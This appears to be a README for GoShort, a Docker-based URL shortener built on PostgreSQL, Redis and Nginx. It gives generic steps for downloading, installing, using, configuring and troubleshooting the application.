Welcome to GoShort! This application is a cloud-native URL shortener built with the latest technologies. Use it to turn long URLs into short, easy-to-share links. No technical skills needed; installing and running GoShort is straightforward.
Before you get started, ensure your system meets these requirements:
- Operating System: Windows, macOS, or Linux
- Docker: Must have Docker installed. If you don’t have it, you can download it from the Docker website.
- Internet Connection: Required for downloading and running the application.
- User-Friendly Interface: Simple and clean design for ease of use.
- Fast Operations: Quickly shorten any URL.
- Cloud-Native: Works seamlessly in the cloud for better performance.
- Database Support: Uses PostgreSQL for storing links and Redis for caching.
- Microservices Architecture: Built with Docker for efficient service management.
To get the latest version of GoShort, click the link below:
- Visit the Releases Page: Click the link above to go to the releases page.
- Choose the Version: You will see a list of available versions. Select the latest version.
- Download the Package: Click on the appropriate file for your operating system.
- Extract the Files: If the file is compressed, extract it to a preferred location on your computer.
- Set Up Docker: If you haven't installed Docker, please do so following the instructions on the Docker website.
- Run the Application:
- Open a terminal.
- Navigate to the folder where you extracted GoShort.
- Use the command
docker-compose upto start the application.
After installation, follow these steps to shorten a URL:
- Open Your Browser: Go to
http://localhost:port, replacingportwith the port number defined in your Docker setup (usually 8080). - Enter the Long URL: Type or paste the URL you wish to shorten into the provided field.
- Click Shorten: Hit the Shorten button to generate your new link.
- Copy the Shortened URL: Share your new short link anywhere you like!
You can customize GoShort settings easily:
- Nginx Configuration: If you want to use a custom domain or modify any server settings, refer to the Nginx documentation.
- Environment Variables: Adjust database settings or app behavior using environment variables. Check the README file in the extracted folder for details on which variables you can set.
If you run into any issues:
- Docker Not Running: Ensure Docker is installed and running. Check the Docker desktop app.
- Application Not Starting: Ensure you've navigated to the correct directory and used the right command.
- Database Errors: Ensure PostgreSQL is correctly set up in the Docker configuration.
Join our community for help and updates:
- GitHub Issues Page: Report any bugs or feature requests there.
- Documentation: Access our comprehensive documentation for more detailed instructions.
- User Feedback: Share your experience with GoShort to help us improve.
GoShort is built with modern tools and practices. It relates to various topics:
- cicd
- devops
- docker
- docker-compose
- fullstack
- nginx
- nginx-configuration
- nginx-proxy
- postgresql
- redis
Explore these topics to enhance your understanding of GoShort and its ecosystem.
GoShort is released under the MIT License. This allows you to use, modify, and distribute the software as you see fit.
Thank you for choosing GoShort! Enjoy shortening your URLs with ease.